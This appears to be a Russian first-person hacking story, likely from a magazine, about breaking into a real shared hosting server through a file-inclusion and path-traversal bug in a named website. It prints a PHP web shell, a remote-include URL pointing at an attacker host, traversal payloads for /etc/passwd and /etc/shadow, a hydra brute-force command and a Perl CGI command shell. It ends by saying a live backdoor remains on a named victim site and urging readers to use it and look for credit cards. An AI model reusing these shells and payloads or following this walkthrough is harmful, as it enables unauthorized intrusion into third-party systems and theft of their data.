В сети полно виртуальных хостингов. Особенно за рубежом. Как-то раз поздним вечером мне захотелось поживиться ресурсами какого-нибудь буржуйского хостера. Из-за собственной лени меня очень ломало атаковать через сервисы, путем муторного сканирования хостинговых сетей, поэтому я зарулил прямиком на Гугл и наколбасил смертельный запрос "filetype:php site:com". В ответ поисковик выбросил множество ссылок. Началась муторная работа по отделению мух от котлет - я резво отбраковывал ссылки на php-скрипты без аргументов, и тестировал на прочность сценарии с параметрами типа id=blahblah.php и id=blahblah.html. Внезапно передо мной предстал проектик, хостящийся на www.dreamscape.com (я уже давно знал, что это хостинг). Возможно, из-за этого я решил остановиться на этом сайте подробнее.
1. Внедрение в систему
Итак, запрос, который мне выплюнул Гугл, выглядел следующим образом: http://www.druginfonet.com/index.php?pageID=manufacturers.htm. По-видимому, скрипт подключал контент статической html'ки. У меня закралась нездоровая мысля о том, что вебмастер - настоящий ламер, а его проект упадет после удачной cross-side-атаки. Я создал файл bash.php на моем хостинге, в котором был следующий код:
echo "";
system($_GET['cmd']);
echo "
?>
Несложно догадаться, что эта конструкция работает даже если в php.ini выключена опция register_globals. Я залил этот файл, выложил на web и обратился к проекту со следующим запросом:
http://www.druginfonet.com/index.php?pageID= http://hacker.host.net/evil/bash.php&cmd=id,
но в ответ получил фигу. Пока не зная почему скрипт оказался стойким к кросс-сайду, я решил изменить инклудный manufacturers.htm на произвольный файл, например, на ../../../../../../../../../../etc/passwd. Фишка проканала, скрипт честно вывел /etc/passwd. На хостинге было столько аккаунтов, что я не смог долистать passwd до конца. Сохранив содержимое файла на винт, я решил посмотреть, почему, собственно, скрипт не открывает удаленные файлы. Для этого мне нужно было узнать путь к сценарию index.php. Для этого я умышленно подставил в поток несуществующий файл, запрос получился таким:
http://www.druginfonet.com/index.php? pageID=nosuchfile.htm.
Но итог оказался плачевным: скрипт выругался на отсутствие файла и не показал мне путь к самому себе. Тогда я решил, что он сломается, если я укажу ему путь к файлу, который он ну никак не сможет прочитать. Мне пришлось составить следующую ссылку:
http://www.druginfonet.com/index.php? pageID=../../../../../../../../../../etc/shadow.
Ура! Получилось! Сценарий остановился и сказал мне один умный вещь:
Warning: fopen("../../../../../../../../../../etc/shadow", "r") - Permission denied in /export/ext2/www/druginfonet/index.php on line 187.
Думаю, не стоит говорить, как я вывел содержимое index.php. Все и так понятно. После изучения сорцов я понял, что сценарий сначала проверяет наличие открываемого файла (эта проверка и подстраховало скрипт от CS-атаки), а лишь затем открывает его. Затем сценарий узнает размер документа и показывает его содержимое. В общем, вот тебе найденный код:
if (file_exists($filename)) {
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
echo $contents;
fclose($fp);
} else {
echo "There was an error finding $filename. Please contact the Webmaster.";
}
?>
Видишь загадочный else? Он мешал мне узнать путь к скрипту при подстановке несуществующего пути. Тут я задумался... Ведь fopen() умеет открывать и директории, а file_exists() подтвердит, что дира существует. Я попробовал составить запрос вида http://www.druginfonet.com/index.php?pageID=/etc, и скрипт успешно выплюнул содержимое каталога =). Правда, разделителями между файлами были кривые квадратики и нечитабельные символы, но даже с этим глюком я мог исследовать площадку дальше.
2. Изучение
Просканировав порты, я понял, что напрямую на сервер мне не попасть. Всякие там телнеты и ssh были жестко зафильтрованы, наружу глядел лишь 21 порт. "Уже что-то!", подумал я. Нужно было добыть валидный ftp-аккаунт и радоваться жизни. Но, к несчастью, практически у всех юзеров вместо хорошего шелла запускался /dev/null (или в лучшем случае /bin/ftponly). На часах в правом нижнем углу виднелись цифры "3:40", мне жутко хотелось спать. Радовало то, что завтра можно было спать до полудня. Возможно именно это остановило меня от выключения компьютера =).
Итак, что же было дальше? А дальше развивалась весьма интересная ситуация. Мне было в лом искать файлы на сервере с помощью полудырявого скрипта, я просто решил написать небольшой парсер, который выдирает все аккаунты, затем отправить комбо-лист на мой доверенный шелл и там же запустить брутфорс hydra. Брут я хотел провести по паре login:login, благо вероятность совпадения была большая (размер passwd составлял почти 700кб). Ничего не соображая, я таки написал рабочий анализатор /etc/passwd, который выглядел следующим образом:
#!/usr/bin/perl
open(IN,"passwd");
open(OUT,">pwds.good");
while(
chomp;
if ($_ ne '') {
($u,@undef)=split ':';
print OUT "$_\n";
}
}
close(IN);
close(OUT);
После запуска в f:\soft\hack лежал готовый комбо-лист. Спешно залив его на сервер, я запустил hydra со следующими параметрами:
./hydra -C pwds.good -t 100 -e n www.druginfonet.com ftp.
В данном случае, опция -C означала наличие комбо-листа, "-e s" проверял аккаунты с пустыми паролями (на всякий случай), а "-t 100" запускал брутфорс в стопоточном режиме. Если ты думаешь, что через 10 минут я получил список валидных паролей, то глубоко ошибаешься. У брутфорсера слетела крыша, когда он получил мессаг от FTP, что учетная запись с шеллом /dev/null не имеет право на пользование ftp. Обмен выглядел следующим образом:
[root@ns hydra-4.3-src]# telnet druginfonet.com ftp
Trying 209.217.209.106...
Connected to druginfonet.com.
Escape character is '^]'.
220 chrome.dreamscape.com FTP server (Version NewVirtual wu-2.4.2-academ[BETA-13](1) Tue Aug 5 12:37:01 EDT 1997) ready.
user gerry16
530 User gerry16 access denied...(bad shell)
quit
221 Goodbye.
Connection closed by foreign host.
[root@ns hydra-4.3-src]#
Гидра сразу же сказала, что не распознает
такой протокол как FTP и начала крутить комбо-список по кругу. Мне пришлось потрудиться, чтобы замочить бешеный брутфорс :). Теперь, наученный горьким опытом, я пропатчил мой парсер следующим циклом:
if ($undef[(scalar $undef)-1] ne '/dev/null') {
print OUT "$_\n";
}
После скормления листа брутфорсу он объявил, что ни один аккаунт не совпал. Я полностью отчаялся: пришлось исследовать содержимое сервера на наличие дырявых файлов.
Быстро прошвырнувшись по домашним каталогам, я не нашел там ничего интересного. Вначале меня привлекли всякие там .bash_history (некоторые из них даже были читабельными). Но из чтения истории команд я лишь узнал, где находятся .htpasswd-файлы. К сожалению, Джоник не смог быстро расшифровать хэши по словарикам. Также я нашел несколько файлов типа passwd.txt, где был забит чей-то пароль. Как оказалось, пассворд принадлежал либо юзеру с шеллом /dev/null, либо неизвестно кому =).
3. Видимые успехи
Время подходило к пяти утра. Спать не хотелось, но и ломать хостинг уже надоело :). Уж слишком замороченным оказался этот сервер. Поизучав каталог WWW, я не нашел там ни одного .htpasswd-файла (может плохо искал), и по какой-то причине заглянул в passwd, где были отобраны лишь валидные аккаунты. И что ты думаешь? Через минуту я уже знал, какой пароль наверняка подойдет к FTP. Мой взор упал на учетную запись jymftp, в комментариях которой было четко и ясно сказано, что это тестовый логин. В качестве домашнего каталога выступала дира /ftpshare/jymtest. Последний каталог и был паролем для этой учетки! Я это понял сразу, у меня давно выработался профессиональный нюх на такие вещи :). После успешной авторизации, wu-ftpd объявил, что как такового домашнего каталога вообще не существует и установил домашней папкой корень сервера. Наконец-то я мог добиться хоть какого-то командного исполнения. Я перешел в /tmp и закинул туда bash.php (содержимое скрипта изучай выше). Затем обратился с запросом
http://www.druginfonet.com/index.php? pageID=/tmp/bash.php&cmd=id и грязно выругался! Скрипт не хотел подключать шелл! "Да что же это за мерзость?", крикнул я. Пришлось перейти в каталог /export/ext1/www и искать там исполняемый каталог какого-нибудь клиента. Каталог нашелся быстро, это был проект www.usawood.com. Я залил в корень bash.php и снова обратился к нему, теперь напрямую. Результат был отрицательным. Причины сей аномалии до сих пор неизвестны. Однако у меня был и план "Бэ" - вебмастер этого сайта почему-то поставил режим 777 на cgi-bin. Я зашел в каталог и залил туда уже cgi-шелл, надеясь, что удача меня не покинет. Скрипт был таким:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
$cmd=$ENV{QUERY_STRING};
$cmd=~s/%20/ /g;
$c=`$cmd`;
print "$c";
Затем я выполнил "site chmod 755 cmd.cgi" и обратился к нему. В ответ получил ошибку 500 :). Поняв чем она вызвана (скрипт был залит в BINARY-режиме из-за глючности консольного /usr/bin/ftp), я быстро исправил баг. Теперь скрипт показывал пустую страницу. Уже что-то :). Рассмотрев собственный код, я стал причислять себя к ламеру, который вообще не знает Perl. Но код казался рабочим и подозрения не вызывал. Тогда, ради проверки, я окаймил переменную QUERY_STRING апострофами и был вознагражден рабочим cmd-шеллом! Наконец-то мне повезло :).
4. Подведение итогов
Баловался интерпретатором я недолго. Попробовал залесть на mysql - неуспешно. Затем залил бэкдор, открыл шелл и поюзал несколько известных эксплойтов для шестой солярки (такой вот убогий там SunOS), но, к сожалению, ни один не сработал. Тогда, отчаявшись, я скачал эксплойт для старого wu-ftpd и попытался удаленно порутать систему. Кроме грязных каталогов, которые я
впоследствии так и не смог удалить, я не получил ничего :(. Немного полазав по Web-каталогам, я плюнул на все и ушел спать, так и не доведя работу до конца...
К чему я все это? Дело в том, что баги в хостинге до сих пор актуальны, я даже не стал удалять cmd.cgi - даю тебе возможность порулить проектом и закончить мою работу. Вполне возможно, что в БД находятся таблицы с рабочими кредитками и другие не менее занятные вещи. О результатах сообщай мне на мыло, как-никак я начал копаться в этой зарубежной грязи :).
Удачи, чувак!
